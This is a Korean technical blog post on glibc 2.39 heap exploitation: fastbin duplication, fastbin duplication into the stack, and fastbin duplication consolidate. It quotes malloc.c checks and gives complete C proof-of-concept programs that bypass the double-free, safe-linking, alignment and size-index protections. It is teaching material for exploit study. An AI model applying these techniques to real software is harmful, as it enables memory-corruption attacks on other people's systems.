[Exploit Tech Analysis][Heap] Fastbin Duplication
1. Fastbin Duplication
1-1. fastbin 접근
우선 fastbin에 해당하는 청크의 크기가 tcache와 겹친다는 점과, ptmalloc가 tcache를 최우선으로 사용한다는 점을 알아야 한다.
이를 고려하면 fastbin에 청크를 넣기 위해서는 목표 사이즈의 tcache가 청크로 꽉 차 있어야 한다는 점을 알 수 있다.
이때 각 사이즈의 tcache에는 7개까지의 청크가 들어갈 수 있다는 점을 고려하면, 다음과 같이 tcache에 들어가는 사이즈인 0x20짜리 청크를 다수 할당하고,
이를 한 번에 해제해 tcache[0x20]을 꽉 채우는 방법을 고려해볼 수 있다.
for (int i = 0; i < 8; i++) {
tcache[i] = malloc(0x8);
printf("%d: %p\n", i, tcache[i]);
}
for (int i = 0; i < 8; i++)
free(tcache[i]);
이제 fastbin에 들어가는 크기의 새로운 청크를 할당받고, 이를 해제하면 fastbin에 청크가 들어가게 된다.
그러나 앞에서 말했듯 fastbin 크기의 청크는 tcache에도 들어가기 때문에, malloc()로 할당받으면 새로운 청크를 할당받는 것이 아니라
tcache에서 할당받으며 우리가 앞서 꽉 채워둔 tcache에 빈 공간이 생기게 되고, 따라서 이 청크에 대해 free()를 호출하면 다시 tcache에 들어가게 된다.
따라서 tcache에서 청크를 꺼내오지 않고 완전히 새로운 청크를 할당받기 위해 malloc()대신 calloc()을 사용해 청크를 할당하는 방법을 고려해볼 수 있다.
이는 malloc()의 원형인 __libc_malloc()과 calloc()의 원현인 __libc_calloc()을 살펴보면 쉽게 알 수 있다.
// Def. in /malloc/malloc.c, in function __libc_malloc(), line 3316 (@glibc-2.39)
if (tc_idx < mp_.tcache_bins
&& tcache != NULL
&& tcache->counts[tc_idx] > 0)
{
victim = tcache_get (tc_idx);
return tag_new_usable (victim);
}
// Def. in /malloc/malloc.c, in function __libc_calloc(), line 3722 (@glibc-2.39)
if (SINGLE_THREAD_P)
av = &main_arena;
else
arena_get (av, sz);
...
mem = _int_malloc (av, sz);
다음과 같이 __libc_malloc()는 tcache에 할당가능한 청크가 존재하면 최대한 tcache에서 꺼내오려 하지만,
__libc_calloc()는 tcache에 대한 검사를 하지 않고 바로 arena에 접근하고,
여기에 원하는 크기의 청크가 없으면 완전히 새로운 청크를 할당받는 것을 볼 수 있다.
calloc()는 0으로 초기화된 메모리 청크를 반환함을 보장해야 하기 때문에, 할당한 후 memset()을 호출해 할당받은 청크의 내용을 0으로 초기화해줘야 한다.
그러나 만약 새로 할당받은 청크가 mmapped 청크여서 전혀 초기화하지 않아도 되거나 top chunk로부터 할당받아 일부만 초기화해도 되는 경우 등이 존재하기 때문에
calloc()은 tcache에 접근하기보다는 새로 청크를 할당받아 memset()에 대한 오버헤드를 줄이는 방향을 선택한다.
// Def. in /malloc/malloc.c, in function _libc_calloc(), line 3786 (@glibc-2.39)
/* Two optional cases in which clearing not necessary */
if (chunk_is_mmapped (p))
{
if (__builtin_expect (perturb_byte, 0))
return memset (mem, 0, sz);
return mem;
}
따라서 다음과 같은 코드를 짠 후 gdb로 heap과 bins를 살펴보면 다음과 같이 마지막으로 해제한 두 개의 청크가 fastbin에 제대로 들어가 있음을 알 수 있다.
#include <stdio.h>
#include <stdlib.h>
int main() {
// fill up tcachebins
void *tcache[8];
for (int i = 0; i < 8; i++)
tcache[i] = malloc(0x8);
for (int i = 0; i < 7; i++)
free(tcache[i]);
char *chunk0 = calloc(1, 0x8); // malloc()를 통해 할당하면 tcache에 들어간 chunk가 도로 나옴
char *chunk1 = calloc(1, 0x8);
free(chunk0);
free(chunk1);
return 0;
}
1-2. Bypass Mitigation
이 상태에서 chunk0를 한 번 더 해제하려고 하면 다음과 같이 double free 오류가 발생한다.
Double Free를 검사하는 로직은 _int_free()에서 찾아볼 수 있다.
// Def. in /malloc/malloc.c, line 4493 (@glibc-2.39)
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
...
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
...
}
이로부터 fastbin에 들어 있는 청크 중 가장 위에 있는 청크(즉, 가장 최근에 free()된 청크)가 해제하려는 청크인지 확인하는 간단한 mitigation이 적용되어 있음을 알 수 있다.
이를 우회하기 위해서 다음과 같이 fastbin의 top chunk를 다른 청크로 바꾼 후 다시 해제하는 방법을 고려해볼 수 있다.
char *chunk0 = calloc(1, 0x8);
char *chunk1 = calloc(1, 0x8);
free(chunk0);
free(chunk1);
free(chunk0);
실행한 후 bins를 gdb로 관찰하면 다음과 같이 0x...90에 해당하는 청크에 대해 double free가 일어났음을 알 수 있다.
2. Fastbin Duplication into Stack
이 공격 방식은 tcache poisoning처럼, fastbin에 들어가 있는 청크의 fd필드를 조작해 다음으로 할당되는 청크의 주소를 stack상 어딘가로 변조하는 공격 방식이다.
이에 앞서 fastbin에 들어간 청크의 구조는 다음과 같다.
2-1. 공통 보호기법
Tcache Poisoning에 대한 앞선 글에서 살펴본 것처럼,
ptmalloc는 bin에 들어간 청크의 fd 필드에 다음 청크의 주소를 그대로 적어놓는 것이 아니라,
ASLR의 entropy를 사용해 암호화한 후 저장한다. 이는 fastbin에서도 동일하게 일어나기 때문에, heap에서 변조하고자 하는 청크의 주소를 알아야 fd 필드를 조작할 수 있다.
마찬가지로 할당하고자 하는 청크의 alignment도 검사하기 때문에, 다음과 같이 할당하고자 하는 청크는 0x10 단위로 align되어있어야 한다.
// Def. in /malloc/malloc.c, line 3844 (@glibc-2.39)
static void *
_int_malloc (mstate av, size_t bytes)
{
...
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
...
if (__glibc_unlikely (misaligned_chunk (victim)))
malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");
if (SINGLE_THREAD_P)
*fb = REVEAL_PTR (victim->fd);
...
}
이는 다음과 같이 우회할 수 있다.
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long target[4] __attribute__ ((aligned (0x10)));
void *tcache[7];
// fill up tcache[0x20]
for (int i = 0; i < 7; i++)
tcache[i] = malloc(0x10);
for (int i = 0; i < 7; i++)
free(tcache[i]);
char *chunk0 = calloc(1, 0x10);
char *chunk1 = calloc(1, 0x10);
free(chunk0);
free(chunk1);
free(chunk0);
char *chunk2 = calloc(1, 0x10); // 여기서 chunk0이 빠져나옴
char *chunk3 = calloc(1, 0x10); // 여기서 chunk1이 빠져나옴
*(unsigned long *)chunk2 = ((unsigned long)chunk2 >> 12) ^ (unsigned long)target; // next 조작
char *chunk4 = calloc(1, 0x10); // 여기서 chunk0이 빠져나옴, 다음 순서는 target
char *target_chunk = calloc(1, 0x10);
printf("%p %p\n", target_chunk, target);
return 0;
}
그러나 이를 컴파일하고 실행하면 다음과 같은 오류를 볼 수 있다.
2-2. index 보호
이는 _int_malloc()에서 하는 다음과 같은 검사를 위배하기 때문이다.
// Def. in /malloc/malloc.c, line 1729 (@glibc-2.39)
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
// Def. in /malloc/malloc.c, in function _int_malloc(), line 3917 (@glibc-2.39)
idx = fastbin_index (nb);
...
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
여기서 nb는 할당해야 하는 실질 바이트 수를 의미한다. 즉 0x10크기의 청크 할당을 요청했을 때, nb는 요청한 크기와 헤더를 전부 포함한 0x20이 된다.
victim은 할당하려고 하는 메모리 청크가 된다. 여기서는 우리가 fd값을 조작해 target을 가리키도록 해놨기 때문에 이는 target의 주소가 된다.
다음으로 fastbin_index() 메크로가 수행하는 비트 연산을 이해하기 쉽게 펼쳐 적어보면 다음과 같다.
idx = (chunksize / MALLOC_ALIGNMENT) - 2
즉 이 메크로는 해당 청크의 size 필드를 읽어 이 청크가 어떤 fastbin에 속하는지 돌려준다. 예를 들어 위에서 사용한 청크는 0x20 크기이기 때문에,
인덱스는 0x20 / 0x10 - 2 = 0이 될 것이고, 따라서 fastbin[0] 에 속하게 된다.
그러나 우리가 만든 target은 초기화하지 않았기 때문에 원래 size가 있어야 할 곳에 쓰레기 값이 있거나 0이 있을 것이다.
0이 있다고 가정하고 fastbin_index()를 수행하면 -2가 되기 때문에, 다음과 같은 상황이 벌어진다.
calloc(1, 0x10);를 호출하면,nb는0x20이 되며,idx는 0이 됨.chunksize(victim)은 0이 되고, 따라서victim_idx는 -2가 됨.- 두 값이 일치하지 않기 때문에 종료됨
이를 우회하기 위해서는 원래 size가 있어야 하는 곳에 미리 0x20을 써 두면 된다.
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long target[4] __attribute__ ((aligned (0x10)));
void *tcache[7];
// fill up tcache[0x20]
for (int i = 0; i < 7; i++)
tcache[i] = malloc(0x10);
for (int i = 0; i < 7; i++)
free(tcache[i]);
char *chunk0 = calloc(1, 0x10);
char *chunk1 = calloc(1, 0x10);
free(chunk0);
free(chunk1);
free(chunk0);
char *chunk2 = calloc(1, 0x10); // 여기서 chunk0이 빠져나옴
char *chunk3 = calloc(1, 0x10); // 여기서 chunk1이 빠져나옴
*(unsigned long *)chunk2 = ((unsigned long)chunk2 >> 12) ^ (unsigned long)target; // next 조작
char *chunk4 = calloc(1, 0x10); // 여기서 chunk0이 빠져나옴, 다음 순서는 target
target[1] = 0x20;
char *target_chunk = calloc(1, 0x10);
printf("%p %p\n", target_chunk, target);
return 0;
}
그러나 이를 실행해도 다음과 같이 오류가 나는 것을 볼 수 있다.
2-3. consolidate 방지
gdb로 실행 흐름을 따라가다 보면 이상하게 마지막 calloc()은 통과하지만, printf()에서 실패하는 것을 볼 수 있다.
이는 stdout이 내부적으로 버퍼를 사용하기 때문에, heap과 상호작용 도중 fastbin에 대한 consolidation이 일어나며 생기는 문제이다.
즉 우리가 만든 가짜 청크의 fd값이 쓰레기 값이라 생기는 문제이다. 즉 우리가 만든 가짜 청크를 할당한 이후에도 ptmalloc는 남은 청크가 있다고 판단하고,
consolidation을 시도하다 이 주소가 align 되지 않아 실패하는 것이다. 이를 해결하기 위해서는 우리가 만든 가짜 청크의 fd 부분에 0을 써 주면 된다.
물론 0을 그대로 쓰면 안 되고, 모든 주소들이 XOR 연산 후 들어간다는 점을 고려해 암호화된 값을 써 줘야 한다.
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long target[4] __attribute__ ((aligned (0x10)));
void *tcache[7];
// fill up tcache[0x20]
for (int i = 0; i < 7; i++)
tcache[i] = malloc(0x10);
for (int i = 0; i < 7; i++)
free(tcache[i]);
char *chunk0 = calloc(1, 0x10);
char *chunk1 = calloc(1, 0x10);
free(chunk0);
free(chunk1);
free(chunk0);
char *chunk2 = calloc(1, 0x10); // 여기서 chunk0이 빠져나옴
char *chunk3 = calloc(1, 0x10); // 여기서 chunk1이 빠져나옴
*(unsigned long *)chunk2 = ((unsigned long)chunk2 >> 12) ^ (unsigned long)target; // next 조작
char *chunk4 = calloc(1, 0x10); // 여기서 chunk0이 빠져나옴, 다음 순서는 target
target[1] = 0x20;
target[2] = (unsigned long)&target[2] >> 12 ^ 0; // ^0은 하나마나임
char *target_chunk = calloc(1, 0x10);
printf("%p %p\n", target_chunk, target);
return 0;
}
의도한대로 잘 실행되는 것을 볼 수 있다. 물론 setvbuf()를 통해 버퍼링을 막는 방법도 고려해볼 수 있지만, 일반적인 상황에서는 버퍼링이 기본이며 printf()
이외의 함수들이 heap과 상호작용할 수 있다는 점을 고려하면 위처럼 fastbin 연결을 끊어주는 것이 더 바람직하다.
또한 실제 할당된 target_chunk는 target + 0x10이라는 점도 눈여겨보자. 이는 target이 prev_sz 필드, target+0x8이 size로 취급되었기 때문이다.
3. Fastbin Duplication Consolidate
일반적으로 큰 크기의 청크들은 double free를 통한 duplication이 어려운 편이다.
Tcache Poisoning에 대한 앞선 글에서 살펴봤듯, Heap Overflow가 가능하지 않다면 P flag를 조작할 수 없어 우회가 어려울 뿐더러,
실제로 double free에 성공했다 할지라도 double linked list로 청크를 관리하는 unsortedbin과 largebin같은 경우 복잡한 검사로 인해 이를 우회하는 것이 불가능하기 때문이다.
tcache에 들어가는 청크도 UAF나 heap overflow가 없다면 key값을 조작할 수 없어 double free를 통한 duplication이 불가능하다.
그러나 이 방법을 사용하면 fastbin의 consolidation을 이용해 오로지 double free하나만으로 큰 청크에 대한 duplication이 가능해지게 된다. 공격 방법은 다음과 같다.
fastbin에 청크를 하나 넣는다. 이 청크를A라 하자.- 원하는 크기의 큰 청크를 할당한다. (이때, 청크의 크기는
0x3f0, 헤더를 포함해0x400이상이 되어야 한다.) 이 청크를B라 하자. A를 double free한다. (아무런 제약 없이 바로 가능하다.)B와 같은 크기의 청크를 한 번 더 할당받는다. 이 청크를C라고 하면B는C와 같은 청크를 가리키게 된다.
왜 이런 공격이 가능한지 천천히 알아보자.
3-1. Fastbin Consolidation
fastbin에 대한 consolidation은 malloc_consolidate()가 담당한다. 이때 병합 대상인 청크가 top chunk와 인접해 있다면 top chunk와 consolidation을 시도한다.
malloc_consolidate()는 다양한 조건에서 호출되지만, 여기서 사용하는 조건은 큰 청크를 할당받을 때이다. _int_malloc()을 잘 살펴보다 보면 다음과 같이 특정 조건을 만족할 때
malloc_consolidate()를 호출하는 흐름을 발견할 수 있다.
// Def. in /malloc/malloc.c, line 3844 (@glibc-2.39)
static void *
_int_malloc (mstate av, size_t bytes)
{
if ((unsigned long)(nb) <= (unsigned long)(get_max_fast())) {
...
}
if (in_smallbin_range(nb)) {
...
}
else {
idx = largebin_index(nb);
if (atomic_load_relaxed( & av -> have_fastchunks))
malloc_consolidate(av);
}
...
}
이를 통해 할당하고자 하는 청크의 크기 nb가 fastbin에 들어갈 수 있는 최대 크기보다 크고, smallbin에 들어가는 크기보다도 클 때
malloc_consolidate()를 호출하는 것을 알 수 있다. 일반적으로 smallbin에는 0x400 미만의 청크가 들어가기 때문에, 위의 3번 단계에서 미리
fastbin에 들어가 있던 A는 top chunk와 병합되게 되고, 이외의 bin은 모두 비어 있는 상태이므로 다시 top chunk에서 0x400만큼 분할해 B에 할당하게 된다.
즉 3번 시점에서 A와 B는 동일한 청크를 가리키고 있다. 따라서 A에 대한 double free가 아무런 제약 없이 가능해지게 되고, 이후 C를 할당하면 성공적으로 duplication이 가능하게 된다.
#include <stdio.h>
#include <stdlib.h>
int main() {
void *tcache[7];
for (int i = 0; i < 7; i++)
tcache[i] = malloc(0x10);
for (int i = 0; i < 7; i++)
free(tcache[i]);
void *chunk0 = calloc(1, 0x10);
free(chunk0);
void *chunk1 = malloc(0x1000);
printf("chunk0: %p\tchunk1: %p\n", chunk0, chunk1);
free(chunk0);
void *chunk2 = malloc(0x1000);
printf("chunk0: %p\tchunk1: %p\tchunk2: %p\n", chunk0, chunk1, chunk2);
return 0;
}
Leave a comment